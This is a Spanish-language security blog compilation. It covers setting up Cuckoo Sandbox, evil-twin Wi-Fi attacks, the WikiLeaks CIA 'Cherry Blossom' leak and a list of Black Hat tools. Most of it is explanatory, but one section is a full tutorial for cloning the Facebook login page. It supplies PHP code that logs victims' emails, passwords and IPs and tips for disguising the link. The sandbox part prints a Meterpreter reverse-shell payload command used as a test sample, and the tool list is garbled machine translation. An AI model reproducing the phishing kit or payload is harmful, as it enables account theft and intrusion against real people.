1001 SANDBOX´s para análisis de Virus

 

Buenas tardes amigos.

Hoy después de no escribir en varios días sobre aspectos de la seguridad informática, hoy por fin encuentro algo de que escribir y que es sobre recopilar en un solo artículo la mayoría de las SANDBOX que son usadas para el análisis de virus o malware.

Sí amigos sobre esas famosas y bien ponderadas sandbox que en cierto momento nos ayudarán a saber que hace, como lo hace y donde hace los estragos un virus informático o malware.

SANDBOX: palabra que del inglés significa caja de arena (sand: arena, y box: caja), puede referirse a diferentes procesos o técnicas de trabajo como lo son:

1.- Un entorno de pruebas separado del entorno de producción.
 
2.- Un sistema de aislamiento de procesos que a menudo es usado como medida de seguridad y ambiente controlado donde analizar archivos y procesos.

3.-  Entorno virtual aislado del sistema operativo original donde se corre por medio de VMWARE player o virtualbox. 

En este sentido amigos podemos decir que existen una gran variedad de sandbox que podemos usar ya sea para windows y linux.

LISTADO DE SANDBOX

 

 

  

Link: 

  https://www.sandboxie.com/index.php?DownloadSandboxie 

Post por el profesor:   Rodolfo Hernandez

 

Cuckoo Sandbox y detección de malware

El concepto de “Sandbox” es bastante común en informática cuando se habla de temas relacionados con la seguridad y casi siempre se refiere a una zona restringida, en la que los elementos que se ejecutan en el entorno se encuentran aislados de los recursos sensibles del sistema y con acceso restringido a funciones criticas. Por ejemplo, en el caso de la plataforma Java, algunas aplicaciones poco fiables, como los Applets, se ejecutan en una zona de Sandbox, en la que el proceso del programa no puede interactuar directamente con los recursos del sistema, ya que se encuentra aislado y con acceso limitado.
Este mismo concepto es adoptado por varias herramientas para el análisis de malware, de tal forma que es posible detectar y analizar el comportamiento de un programa malicioso sin poner en riesgo todo el sistema, ya que se ejecuta en un entorno aislado y controlado. Se trata de un enfoque muy potente que ayuda a los investigadores a comprobar el funcionamiento de un programa potencialmente dañino y de esta forma, determinar cuáles son las medidas preventivas que se deben tomar o simplemente, saber cómo funcionan.

En este sentido existen varias herramientas de sandboxing para diferentes plataformas, como por ejemplo Windows o Linux. En esta ocasión, corresponde hablar sobre Cuckoo Sandbox.

Cuckoo es probablemente el framework open source más utilizado por investigadores y analistas a la hora de descubrir el funcionamiento de amenazas de todo tipo en un entorno controlado.

Cuckoo es un sistema centralizado, donde una máquina se encarga de ejecutar los componentes “core” del sistema y por otro lado, hay máquinas virtuales aisladas que permiten la ejecución de los programas que deben ser analizados. La máquina donde corre Cuckoo se encarga de gestionar el estado de cada una de las máquinas virtuales definidas en el fichero de configuración de la herramienta y se encarga, entre otras cosas, de iniciar, detener y enviar muestras de Malware a las máquinas virtuales especificadas.

Instalación y configuración de Cuckoo Sandbox.

Después de comprender el funcionamiento básico de Cuckoo, procedemos a su instalación y para ello, es necesario descargar la última versión disponible desde el siguiente enlace http://www.cuckoosandbox.org/download.html

Existe la posibilidad de descargar la última versión de la herramienta o descargar una “tag” especifica del repositorio GIT. Para instalar todas las dependencias necesarias y poder comenzar a utilizar Cuckoo, se recomienda utilizar PIP.

git://github.com/cuckoobox/cuckoo.git cd cuckoo/ pip install -r requirements.txt

El siguiente paso consiste en configurar el motor de análisis y para ello, es necesario establecer un valor valido a algunas de las propiedades que se definen en el fichero “/conf/cuckoo.conf”.

Una de las ventajas que tienen los ficheros de configuración de cuckoo es que vienen muy bien explicados y leyendo la descripción de cada propiedad, es sencillo saber cuáles son los valores que se deben utilizar o si con el valor por defecto es suficiente. En concreto, las principales propiedades que es conveniente revisar son las siguientes:

– machinery: Define el software de virtualización que se utilizará para arrancar las máquinas virtuales que actuarán como “guest”. El valor por defecto es “virtualbox” y es método recomendado para hacer las pruebas.

– ip: Se trata de la dirección en la que arrancará el servidor. Dicha dirección debe ser accesible desde las máquinas “guest”.

– port: Puerto utilizado por el servidor para recibir los resultados de las pruebas ejecutadas en las máquinas “guest”.

– connection: Permite especificar una conexión a base de datos. Si no se especifica ningún valor, por defecto utilizará una base de datos SQLite ubicada en “db/cuckoo.db”.

Además, en dicho fichero es necesario definir un bloque de configuración para cada una de las máquinas virtuales que actuarán como “guest” y en dicho bloque, se deben definir detalles específicos de la máquina virtual, como por ejemplo el usuario y contraseña para iniciar sesión. El contenido de este fichero puede ser como se indica a continuación

/conf/cuckoo.conf.

[cuckoo] version_check = on delete_original = off delete_bin_copy = off machinery = virtualbox memory_dump = off terminate_processes = off reschedule = off process_results = on max_analysis_count = 0 max_machines_count = 0 freespace = 64 tmppath = /tmp [resultserver] ip = 192.168.1.98 port = 2042 store_csvs = off upload_max_size = 10485760 [processing] analysis_size_limit = 104857600 resolve_dns = on [database] connection = timeout = [timeouts] default = 120 critical = 600 vm_state = 300 [BELARMINO] name = BELARMINO username = jdaanial password = jdaanial

El fichero “cuckoo.conf” permite definir las propiedades generales del motor de análisis, pero existen otros ficheros de configuración que también es necesario configurar, como por ejemplo los ficheros “conf/vitualbox.conf”, “conf/vmware.conf”, “conf/kvm.conf” que permiten configurar detalles concretos de la plataforma de virtualización empleada.
En este caso, nos centraremos en VirtualBox, con lo cual es necesario ajustar las siguientes propiedades definidas en el fichero “/conf/vitualbox.conf”.

– path: Indica la ubicación de la utilidad VBoxManage. Su valor por defecto es “/usr/bin/VboxManage”.
– machines: Listado con los nombres de las máquinas virtuales que serán utilizadas por
Cuckoo. Cada uno de los nombres debe ir separado por coma.
– [nombre_maquina_virtual]: El fichero permite declarar secciones de configuración para cada una de las máquinas virtuales definidas en la propiedad “machines”. Cada uno de estos bloques permite varias propiedades, sin embargo aquellas que son obligatorias se listan a continuación:

• label: Nombre de la máquina virtual definido en la configuración de VirtualBox.
• platform: Sistema operativo de la máquina virtual. Los valores soportados a la fecha son “windows”, “darwin” y “linux”.
• ip: Dirección IP de la máquina virtual.El siguiente es un contenido valido para el fichero de configuración anteriormente explicado.

[virtualbox] mode = gui path = /usr/bin/VBoxManage machines = BELARMINO [BELARMINO] label = BELARMINO platform = windows ip = 192.168.1.209

Existen otros ficheros de configuración que permiten controlar los módulos de Cuckoo y herramientas externas como Volatility Framework. Sin embargo, con los ficheros anteriores es suficiente para comenzar a utilizar Cuckoo con una única máquina “guest”.

./cuckoo.py -d

Tras ejecutar el comando anterior, Cuckoo se encargará de gestionar automáticamente la máquina virtual definida en los ficheros de configuración explicados anteriormente y tal como se enseña en la siguiente imagen, quedará en estado de espera hasta que se envíen muestras de malware al motor de análisis.

Ejecución Cuckoo Sandbox

Nota: Es posible que cuckoo encuentre problemas con los estados de la máquina virtual, por ese motivo se recomienda crear un snapshot antes de arrancar el motor de análisis con los siguientes comandos

>vboxmanage controlvm “BELARMINO” poweroff >vboxmanage snapshot “BELARMINO” take “BELARMINO” >vboxmanage snapshot “BELARMINO” restorecurrent >vboxheadless –startvm “BELARMINO”

Configuración de las máquinas virtuales y envío de muestras de malware a los agentes.

Después de iniciar el servidor de Cuckoo, el siguiente paso consiste en establecer los agentes en una o varias máquinas virtuales definidas en el fichero “conf/virtualbox.conf”. En cada una de dichas máquinas virtuales, se debe instalar Python para poder ejecutar el agente que se encargará de procesar cada uno de los ficheros maliciosos enviados desde el servidor y los resultados serán enviados al servidor de Cuckoo después de que el agente termine de procesarlos.

Cada una de las máquinas virtuales que actuarán como agentes deben cumplir con los siguientes requerimientos mínimos para poder ser utilizadas desde Cuckoo:

– Instalación de Python (Verisón 2.7 recomendada).

– Instalación del módulo PIL para Python. Se trata de una dependencia opcional, pero es recomendable ya que permite crear capturas de pantalla. Se puede obtener desde el siguiente enlace: http://www.pythonware.com/products/pil/

– Desactivar el Firewall de Windows y las actualizaciones automáticas.

– Instalar cualquier otra aplicación necesaria para realizar las pruebas. Lectores de ficheros PDF, procesadores de texto, servidores vulnerables, etc. El agente de Cuckoo se encuentra ubicado en el directorio “/agent/agent.py” el cual debe ser transferido a la máquina virtual y preferiblemente ubicarlo en el directorio “C:\Python27” con el nombre agent.pyw. Se recomienda editar el registro de Windows para que el agente se ejecute de forma automática cada vez que el sistema arranque. Para ello es necesario editar la clave “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run”.

Después de ejecutar el agente, se abrirá puerto 8000 para recibir todas las peticiones desde el servidor de Cuckoo.

Con todos los requisitos cumplidos, el siguiente paso lógico consiste en enviar muestras de malware a los agentes y analizar su comportamiento. Para crear una muestra maliciosa, se utilizará Metasploit Framework.

>msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.98 LPORT=4444 R | ./msfencode -e x86/shikata_ga_nai -c 5 -t exe -o sample.exe

El fichero malicioso resultante puede ser enviado al motor de Cuckoo, el cual se encargará de transferirlo a cada uno de los agentes asociados. Para ello el script “submit.py” que se encuentra ubicado en el directorio “/util” permite enviar un fichero al motor de análisis de Cuckoo.

>python submit.py /home/adastra/Escritorio/sample.exe Success: File “/home/adastra/Escritorio/sample.exe” added as task with ID 1

Después de ejecutar el comando anterior, se puede apreciar que la muestra ha sido enviada correctamente y se ha creado la tarea con identificador “1”.
Ahora, es posible acceder a los resultados por medio de una interfaz web bastante simple e intuitiva que se iniciará al ejecutar el script “web.py” ubicado en el directorio

“CUCKOO_INSTALL/util”

>python web.py Bottle v0.12.7 server starting up (using WSGIRefServer())… Listening on http://0.0.0.0:8080/ Hit Ctrl-C to quit.

Desde la interfaz web, se podrán subir muestras desde un formulario y también se podrá visualizar el estado de aquellas muestras que han sido enviadas con anterioridad.

Listado de muestras enviadas al motor de análisis de Cuckoo

En este articulo solamente se ha explicado la configuración básica del motor de análisis con un único “guest”, pero es una herramienta bastante flexible que merece la pena probar y “pegarse” un poco con ella. Os invito a que lo intentéis.

Hackers dhackers-demuestran-lo-facil-que-es-hackear-alguien-mientras-camina-por-la-calle

 

Los dispositivos habilitados con Wi-Fi – conocidos como Internet of Things (IoT) – están en oficinas y hogares cada vez en mayor número.
Desde teléfonos inteligentes a impresoras conectadas e incluso cafeteras, la mayoría de estos dispositivos IoT tienen buenas intenciones y pueden conectarse a la red de su empresa sin ningún problema.

Sin embargo, a medida que los dispositivos de Internet de las cosas (IoT) están creciendo a un gran ritmo, continúan agrandando la superficie de ataque al mismo tiempo, dando a los atacantes un gran número de puntos de entrada que le afectan de una manera u otra.
Los atacantes pueden usar sus dispositivos inteligentes para obtener acceso a su red, dándoles la capacidad de robar datos confidenciales, como su información personal, junto con una multitud de otros actos maliciosos.
Un escenario de ataque interesante ha sido demostrado recientemente por uno de los hackers de renombre, Jayson Street, quien dijo que todo lo que se necesita es caminar con el dispositivo adecuado para entrar en el dispositivo de alguien.

veamos un vídeo que demuestra que es fácil hackear teléfonos inteligentes y portátiles en un lugar lleno de gente mediante la creación de un EvilAP (punto de acceso malicioso).
- See more at: http://security.divdesign.mx/hackers-demuestran-lo-facil-que-es-hackear-alguien-mientras-camina-por-la-calle/#sthash.lnKu0kpO.dpuf

Street usó un dispositivo de prueba de penetración simple y una conexión a Internet para hackear personas a su alrededor.

Técnicamente, el dispositivo de hacking de Street instala automáticamente un “Evil Twin Attack”, en el que un atacante engaña a los usuarios inalámbricos para que conecten sus teléfonos inteligentes y portátiles a un punto maligno malicioso haciéndose pasar por un proveedor WiFi legítimo.
Una vez conectado, toda la información de la víctima fluye directamente al dispositivo del atacante, permitiendo a los ciberdelincuentes secretamente escuchar el tráfico de la red y robar contraseñas, datos financieros y otros datos confidenciales e incluso redirigirlo a sitios de malware y phishing.
- See more at: http://security.divdesign.mx/hackers-demuestran-lo-facil-que-es-hackear-alguien-mientras-camina-por-la-calle/#sthash.lnKu0kpO.dpuf

Los dispositivos habilitados con Wi-Fi – conocidos como Internet of Things (IoT) – están en oficinas y hogares cada vez en mayor número.
Desde teléfonos inteligentes a impresoras conectadas e incluso cafeteras, la mayoría de estos dispositivos IoT tienen buenas intenciones y pueden conectarse a la red de su empresa sin ningún problema.
Sin embargo, a medida que los dispositivos de Internet de las cosas (IoT) están creciendo a un gran ritmo, continúan agrandando la superficie de ataque al mismo tiempo, dando a los atacantes un gran número de puntos de entrada que le afectan de una manera u otra.
Los atacantes pueden usar sus dispositivos inteligentes para obtener acceso a su red, dándoles la capacidad de robar datos confidenciales, como su información personal, junto con una multitud de otros actos maliciosos.
Un escenario de ataque interesante ha sido demostrado recientemente por uno de los hackers de renombre, Jayson Street, quien dijo que todo lo que se necesita es caminar con el dispositivo adecuado para entrar en el dispositivo de alguien.
veamos un vídeo que demuestra que es fácil hackear teléfonos inteligentes y portátiles en un lugar lleno de gente mediante la creación de un EvilAP (punto de acceso malicioso).
- See more at: http://security.divdesign.mx/hackers-demuestran-lo-facil-que-es-hackear-alguien-mientras-camina-por-la-calle/#sthash.lnKu0kpO.dpuf

WikiLeaks Últimas Dump expone CIA inalámbrica herramientas de hacking

El sitio de denuncia WikiLeaks está de vuelta con otro documento relacionado Bóveda 7 series . Este se llama “ flor de cerezo de programa”, que da una mirada a las capacidades de hacking inalámbrico de la Agencia Central de Inteligencia (CIA).

El proyecto flor de cerezo de acuerdo con los documentos filtrados supuestamente fue desarrollado e implementado por la CIA con la ayuda de un instituto de investigación sin fines de lucro con sede en Menlo Park, California, por su proyecto “Cherry Bomb”.

Sí flor de cerezo es un firmware que permite que los atacantes para explotar vulnerabilidades y comprometen dispositivos de red inalámbricos tales como puntos de acceso (APs) y enrutadores inalámbricos. Al comprometer el dispositivo de destino de forma remota, la flor de cerezo reemplaza el firmware existente con su propio permitiendo a los atacantes a su vez el router o punto de acceso en una llamada 'atrapamoscas'. La trampa para moscas puede escanear en busca de “direcciones de correo electrónico, chatear nombres de usuario, direcciones MAC y números VoIP” en el tráfico de red que pasa - todo esto sin acceso físico.

U na vez que se lanzó el nuevo firmware en el dispositivo, el router o punto de acceso se convertirá en una llamada atrapamoscas. Una baliza atrapamoscas será a través de Internet a un servidor de comando y control a que se refiere como el cerezo. La información que contiene balizado estado del dispositivo y la información de seguridad que los registros del cerezo a una base de datos. En respuesta a esta información, el cerezo envía una misión con tareas definidas por el operador. Un operador puede usar CherryWeb, una interfaz de usuario basada en navegador para ver el estado del atrapamoscas y la información de seguridad, tareas Misión plan, ver datos relacionados con la misión, y llevar a cabo tareas de administración del sistema.

Por otra parte, WikiLeaks señala que debido a que los dispositivos WiFi son comunes en los hogares, lugares públicos y oficinas que los convierte en objetivo apropiado para llevar a cabo 'man-in-the-middle' ataques como el programa de la flor de cerezo puede controlar fácilmente, controlar y manipular el tráfico de Internet de conexión usuarios.

Algunos de los dispositivos que pueden ser explotadas por la flor de cerezo en busca de vulnerabilidades incluyen 3Com, Aironet / Cisco, Allied Telesis, Ambit, Apple, Asustek Co, Belkin, Breezecom, camafeo, D-Link, Gemtek, Linksys, Orinoco, USRobotics, y Z -Com. La lista completa de los cientos de otros proveedores es disponible aquí [PDF].

Hasta el momento, la serie 7 Bóveda ha mostrado cómo la CIA presuntamente hacks televisores, teléfonos inteligentes, camiones y equipos. La serie también destaca las vulnerabilidades críticas que la comunidad de inteligencia descubre en sistemas operativos como Windows y Mac OS , pero nunca se comparte con los fabricantes .

Los documentos también han mostrado cómo la CIA utiliza el malware y otro software contra usuarios desprevenidos de todo el mundo. Estos incluyen la materia oscura, mármol, saltamontes, colmena, que llora Ángel, garabatos, Arquímedes, AfterMidnight o asesino , Athena y pandémica.

 

  Nota Creada por  WikiLeaks

 

Crear mi propio pishing para facebook con Dominio [FREE]

Crear mi propio pishing para facebook con Dominio [FREE]

Bueno pues gente desde hace tiempo que no entro a publicar , debido a varios factores :(.Además también deje de darle update a mis scripts u.u , nunca se enamore crj ajjaja .Bueno comensare.

Bueno sera facil crearlo , a continuacion comensare : 

Ingresamos a www.facebook.com normalmente como lo hacemos siempre.

Una vez aqui pulsamos la conbinacion de teclas magicas :v los cuales seria <Ctrl+S> y se nos abre una pestaña , guardamos los archivos en donde nosotros queramos , pero tenemos que editar el codigo que esta dentro de este archivo html <Facebook - Inicia sesión o regístrate.html> con el codigo fuente de la pagina de facebook.com.La copiamos toditita con <Ctrl+A> .Debido a que si no hacemos esto creo que no carga el css o lo bonito de la pagina.

Una vez realisado este primer paso , procederemos a ver como hacer que las credenciales introducidas a la pagina que subiremos luego a un hosting [FREE] nos guarde las credenciales.

Lo realizaremos mediante el uso de php, pero antes editaremos la pagina <Facebook - Inicia sesión o regístrate.html> , pueden abrirla con un block de notas o mejor aun con DreamWeaver o tambien con sublime text , que tenga un buscador.

Listo , una vez adentro de nuestro block o vim,nano,sublime text , lo que sea.Pasamos a buscar lo siguiente : [action="]

Lo que nos interesa por ahora es lo siguiente : 

action="https://www.facebook.com/login.php?login_attempt=1&amp;lwv=110"

Si desean saber algo mas podrian leer de formularios en html :D  les dejo un link ->

FORMULARIOS HTML

Una ves realizado este cambio al momento de guardarlo , guardenlo como -> "index.html"

Bueno el action yo diria que vendria a ser el que va a gestionar los datos que mandemos , por ejemplo aqui el que ta gestionando las credenciales introducidas es "login.php".

Ahora lo que haremos sera editarlo !

action="gestionar.php" <- el nombre depende como guardaron el script que gestionara las credenciales que se introduciran.

Pero que ! , que tiene ese script "gestionar.php"?

Pues el archivo "gestionar.php" tiene el siguiente codigo :

<?php
if (!empty($_POST['email']) && !empty($_POST['pass'])){
$usuario = $_POST['email'];
$contra = $_POST['pass'];
$ip = $_SERVER['REMOTE_ADDR'];
$archivo = fopen('log.txt','a+');
fwrite($archivo,"Usuario : " . $usuario . "\n" . "Contraseña :" . $contra . "\n" . "Ip : " . $ip ."\n");
fclose($archivo);
header('Location : http://www.facebook.com/');
}else{
header('Location : /');
}

?>

PASARE A EXPLICAR UN POQUITO EL CODE

El primer if verifica si no estan vacios el parametro "email" y "pass" entonces ejecutara todo en cambio si esta vacio con el header lo que hace es una redireccion a la parte principal de la web "/" por eso el slash.

$usuario = $_POST['email']; <- almacena el email  

Una aclaracion el "email" diran de donde salio ? pues es del formulario que esta en la pagina.Lean formularios en html y pues lo entendera y si lo entendieron pues manitas arriba ! (y)  

Y pues asi todo , luego se realiza un uso de fwrite para crear una archivo o si ya esta creado sobre escribirlo con "a+" , lo que se almacena en dicho archivo llamado "log.txt" sera el "Usuario,Contraseña,Ip"

Ok, listo tenemos ya casi todo , ahora falta suvir a un hosting [FREE] o si desean gastar dinero compren.

Recomiendo que se creen una cuenta aqui :

www.000webhost.com/

No explicare como se crea porque , supongo que es facil -.-.
Esta seria la interfaz una ves creada la cuenta y logeados claro !

Para no alargar este post , clickeamos en "File manager" y luego en "subir archivos".

Nos saldra lo siguiente :

Como podemos observar , todo esta vacio ! lo unico que tenemos que hacer es arrastrar todos los archivos que creamos y descargamos ! a la parte blanca y listo ! se suvira automáticamente.

Y pues listo ! Tenemos todo supido al hosting !

Entramos a nuestra direccion la cual declaramos al momento de registrarnos ! 

Introducire datos al azar pa probar el pishing y pues le damos en "iniciar session".

Y luego nos vamos a el archivo log.txt en donde se almacenan las credenciales introducidas y la ip , ya se explico como se procede todo esto o como se realiza en la parte de arriba.Visualisando el archiv "log.txt":

Una recomendacion !

Si desean enviar su link a una persona en especifico usen otras redes por ejemplo whastapp y ademas pueden usar acortadores de url para que no sea posible identificar el pishing "url".Ya queda en ustedes con su flor ! saludos !

Y pues esto seria todo ! 

Saludos ! 

Atte : Rodrigo Canaza.

Team : KelvinSecurity !

 

 

Top Herramientas BlackHat

Armitage

Armitage es una herramienta de colaboración en equipo rojo, construido en el código abierto Metasploit Framework. Publicado en diciembre de 2010, Armitage ha visto actualizaciones y mejoras constantes desde su creación actualizaciones y mejoras impulsadas por los comentarios de su comunidad de usuarios maravillosa. Esta demostración se mostrará cómo funciona y buceo Armitage en algunas de las características menos conocidas que son muy útiles para pruebas de penetración.

Presentado por:

Raphael Mudge

ARPwner

ARPwner es una herramienta para hacer ataques de envenenamiento arp y envenenamiento de DNS, con una interfaz gráfica de usuario simple y un sistema de plugins para hacer el filtrado de la información recopilada, también tiene una aplicación de sslstrip y se codifica 100% en Python, por lo que puede modificar en sus necesidades

Presentado por:

viajes Nicolas

AWS scout

El volumen y la gama de Servidores Web de Amazon (AWS) ha creado un paisaje en constante cambio. Lo que fue administrado anteriormente por grupos empresariales de TI ahora se hace a través de una variedad de servicios basados ​​en la Amazonía, dejando muchas preguntas acerca del riesgo y la seguridad de estos entornos sin respuesta. Esta presentación discutirá los errores más comunes que hemos visto en el campo y mostrar la forma de auditar utilizando AWS Scout.

Scout es una herramienta de seguridad que permite a los administradores de AWS hacen una evaluación de su situación de seguridad ambientes. El uso de la API de AWS, podemos recopilar datos de configuración para la inspección manual o resaltar áreas de alto riesgo de forma automática. En lugar de verter a través de páginas en la web docenas, podemos tener una visión clara de la superficie de ataque.

Presentado por:

Jonathan Chittenden

backfuzz

Backfuzz es una herramienta de formación de pelusa para diferentes protocolos (FTP, HTTP, IMAP, etc.) escritos en Python. La idea general es que este script tiene varias funciones predefinidas, así que el que quiere escribir de (por otro protocolo) su propio plugin puede hacer que en pocas líneas.

Presentado por:

Matias Choren

Burp Suite de extensibilidad

Ya se trate de varias subredes B clase, un tokenización personalizado de aplicaciones Web utilizando, o la integración de software de 3 ª parte de detección / explotación, llega un momento en que su go-to de aplicación de la prueba no es suficiente como es. Con Burp Suite de extensibilidad puede empujar estos requisitos al siguiente nivel mediante la construcción de una funcionalidad que le permite realizar su tarea requerida, manteniendo la eficiencia, el valor, y sobre todo, la detección / explotación del destino especificado. Varias extensiones junto con un marco común extensibilidad estarán en exhibición demostrando su capacidad, la adaptación y la facilidad de uso, mientras que en general ser capaz de llegar a sus requisitos de prueba. Junto con la demostración, estas extensiones se dará a conocer al público durante la semana del blackhat para fomentar aún más el desarrollo y la participación extensibilidad.

Presentado por:

James Lester

Sin pasar por cada proveedor de CAPTCHA clipcaptcha

reCAPTCHA y otros proveedores de servicios de CAPTCHA validan millones de letras cifradas cada día y protegen miles de sitios web contra los robots de intertube. CAPTCHA de una generación segura y validación ecosistema forma la base del modelo de confianza mutua y daños a gran escala pueden suceder en caso de cualquier componente de este ecosistema es compromised.The presentación explica tercer proveedor de integración CAPTCHA de partido y explica las vulnerabilidades que afectan a casi todos los proveedores de CAPTCHA incluyendo reCAPTCHA. Estas vulnerabilidades pueden ser explotadas para omitir por completo la protección ofrecida por los proveedores de CAPTCHA. Una nueva herramienta basada en firmas clipcaptcha será introducido y puesto en libertad que se puede utilizar para explotar estas vulnerablities a la protección del proveedor de CAPTHCA de derivación. modos de funcionamiento de clipcaptcha serán demostradas. Los modos de operación incluyen los siguientes tres mondes entre otros:

Modo de avalancha: Todas las solicitudes de validación de CAPTCHA son aprobadas.

Modo invisible: Sólo atacante proporcionado letras cifradas están aprobados.

DOS: Todas las solicitudes de validación de CAPTCHA se les niega.

Las demostraciones explicar estos modos, junto con vivo de derivación proveedor de CAPTCHA en el servidor de prueba.

Presentado por:

Gursev Singh Kalra

CrowdRE

Inversión de software complejo con rapidez es un reto debido a la falta de herramientas profesionales que apoyan el análisis colaborativo. El proyecto CrowdRE pretende llenar este vacío. En lugar de usar una distribución en vivo de los cambios a todos los clientes, que ha demostrado a fallar en el pasado, se aprovecha de la arquitectura que se utiliza con éxito para organizar repositorios de código fuente: un sistema que gestiona una historia de conjuntos de cambios como los mensajes de confirmación. El componente central es un servidor basado en la nube que realiza un seguimiento de confirmaciones en una base de datos. Cada confirmación cubriese una o varias funciones de una binaria analizada y contiene información como anotaciones, comentarios, prototipo, definiciones y struct enumeración y similares. Los clientes pueden buscar en la base de datos para las confirmaciones de funciones mediante la construcción de una consulta de hash del binaria analizada y el desplazamiento de la función. Diferentes commit concurrentes para una función son posibles; en tales casos es hasta que el usuario decida que practican es better.This concepto básico es suficiente para un flujo de trabajo colaborativo en función de cada función para un binario compartido. Una característica interesante es un esquema de dispersión similitud que tiene en cuenta los límites de los bloques básicos de una función. Cada función se asigna en una similitud preservación de hash de tamaño fijo. Una consulta de base de datos para un hash tales funciones similitud devuelve un conjunto de funciones según su valor de similitud, y el analista puede elegir entre ellos. Esto es extremadamente útil para el análisis variantes basadas en el mismo código o generaciones de una familia de malware, por ejemplo.

El cliente CrowdRE es ahora libremente disponible como un plug-in Pro AIF. CrowdStrike mantiene una nube central para la comunidad para compartir sus confirmaciones entre sí. Es nuestra meta ayudar a la construcción de una base de datos pública de funciones conocidas, bien anotado para acelerar el análisis de componentes estándar, algo similar a lo que BinCrowd (que no está en línea hoy en día) ofrecido pero con soporte para múltiples confirmaciones coexistentes para la misma función . También apoya comprometer la visibilidad para dar a los usuarios control sobre quién más puede ver e importar sus contribuciones basadas en la lista. En los próximos días se dará a conocer una serie de cómo-a las entradas del blog y videos para acelerar la adopción de CrowdRE.

Presentado por:

Georg Wicherski

FakeNet

FakeNet es una herramienta que ayuda en el análisis dinámico de software malicioso. La herramienta simula una red para que el malware interactuando con un host remoto sigue funcionando permite al analista para observar la actividad de la red del malware dentro de un ambiente seguro. La herramienta es extremadamente ligero se ejecuta dentro de la misma máquina virtual como el malware. Esto permite el análisis dinámico de malware sin la carga de la creación de múltiples machines.It virtual admite HTTP, SSL, DNS y otros protocolos. La herramienta se puede extender a través de extensiones de Python. Se vuelve a dirigir todo el tráfico que es oyentes en el host local, incluido el tráfico de direcciones IP cifrados duros. Se crea una salida específica a las necesidades de un analista de malware. También tiene la capacidad de crear una captura de paquetes de tráfico local; algo que no es posible con herramientas basadas en pcap como Wireshark.

Presentado por:

Andrew Honig

GDFuzz

PHP Framework está integrado en nativo de C y el no de corrupciones de memoria y posibilidades de ejecución de código en el marco de trabajo es alta. framework PHP lleva las aplicaciones web de forma que las entradas y proceso en el servidor web. Hay una gran cantidad de funciones de procesamiento de imágenes en PHP donde el usuario controla la entrada "" Imágenes "". El uso de las funciones de procesamiento de imágenes se pudo detectar a través de los metadatos se insertan en el images.We se demuestra una fuzzer fresco [GDFuzz] que específicamente se hace capaz de Fuzzing PHP GD motor. Es básicamente un Fuzzer imagen que hemos construir desde cero. Es singularidad es su capacidad para manejar PHP Framework y la pelusa revelan los motores de script PHP [GDI] errores.

Estaríamos demostrando nuestra herramienta junto con muchos Pila, Montón corrupciones revelados por nuestra Fuzzer, que podrían conseguir ejecución de código intruso en el servidor web a través de imágenes diseñadas. Con pocos cambios en la herramienta que podría utilizarse para Fuzz navegadores, sistemas de ventana o cualquier cosa que trasmite una imagen.

La herramienta sería de intrest con WEP App entusiasta y la vulnerabilidad investigadores.

Presentado por:

Rahul Sasi

Genérico NTLM Metasploit retransmisión

manchas de autenticación NTLM contienen las llaves del reino en la mayoría de entornos de dominio y de enviarle estas credenciales es uno de los ataques más incomprendidos y mortales en el arsenal corporativa de un hacker. Incluso para los defensores inteligentes es casi como un sistema de creencias; algunas personas creen que el modo mixto de autenticación de IIS los salva, NTLMv2 no se puede aprovechar, lo que permite el IIS extendió ajustes es todo lo que necesita, que era conectaron con MS08-068, usted tiene que estar en el medio, usted tiene que visitar un sitio web, tiene que ser un administrador para el ataque a la materia, etc. etc.http_ntlm_relay es un módulo de Metasploit altamente configurable escribí que hace varias cosas muy interesantes, lo que nos permite aprovechar la grandeza de Metasploit y mostrar el camino para que estos no creyentes:

HTTP -> HTTP relé de NTLM con POST, GET, HTTPS apoyo.

HTTP -> relé SMB NTLM con ENUM_SHARES, LS, escribir, RM, y el apoyo EXEC. Este soporte extendido permite que una gran cantidad de interesantes ataques contra los no administradores y varios navegadores que no están actualmente disponibles en Metasploit.

soporte de NTLMv2, lo que significa que este ataque ahora funciona mucho más a menudo en entornos de ventanas modernas.

apoyo objeto mutex permitiendo que la información de una solicitud para ser utilizado en una solicitud futuro. Un simple ejemplo de esto sería un GET para recuperar un token CSRF utilizado en un POST. Un ejemplo más complejo sería una solicitud HTTP GET para recuperar los nombres de equipo, y luego usar esa información para relé de SMB en esos equipos para la ejecución de código.

Será de código abierto y voy a intentar mi darndest conseguirlo incluido en Metasploit adecuada antes de Blackhat.

Presentado por:

Rich Lundeen

Gsploit

Gsploit es un marco de pruebas de penetración de secuencias de comandos escrito en Python que no sólo proporciona una plataforma sencilla para lanzar ataques en múltiples etapas / multi-vector, sino que también proporciona un amplio conjunto de funciones para el desarrollo de exploits para varias herramientas diferentes architectures.This es particularmente útil para probadores de penetración e investigadores de vulnerabilidad que necesitan para convertir rápidamente una prueba de concepto (PoC) en un trabajo explotan que se puede utilizar posteriormente en una prueba de penetración real.

Presentado por:

Gianni Gnesa

HTExploit sin pasar por las restricciones htaccess

HTExploit es una herramienta de código abierto escrito en Python que explota una debilidad en la forma en que los archivos .htaccess se pueden configurar para proteger un directorio web con un proceso de autenticación. Mediante el uso de esta herramienta a nadie sería capaz de mostrar el contenido de un directorio protegido de esta manera, sin pasar por el process.Using autenticación HTExploit usted aprenderá cómo tomar ventaja de las debilidades o miss-configuraciones en archivos .htaccess, sin pasar por el proceso de autenticación. Descargar estos archivos protegidos y demostrando contra LFI, RFI y de inyección SQL.

Presentado por:

Maximiliano Soler

orificio de hielo 0.3 (beta)

Orificio de hielo es una herramienta de phishing de correo electrónico java que identifica cuando un usuario ha hecho clic en el enlace. Permite a las organizaciones internas para poner a prueba sus usuarios defensas de ingeniería social. La herramienta se puede utilizar en combinación con una variedad de software de terceros como SET, registradores de pulsaciones de Java y el marco BEEF para crear ataques de ingeniería social de la vida real. Orificio de hielo también se puede utilizar con los sitios web de formación para capturar no sólo cuando un usuario hace clic en un vínculo, pero registrarse cuando su formación se ha completado. Una sencilla herramienta de phishing de correo electrónico que se puede ampliar a múltiples maneras

Presentado por:

Darren modales

Análisis de respuesta a incidentes de visualización y de amenazas a través de clústeres de Análisis Genómico

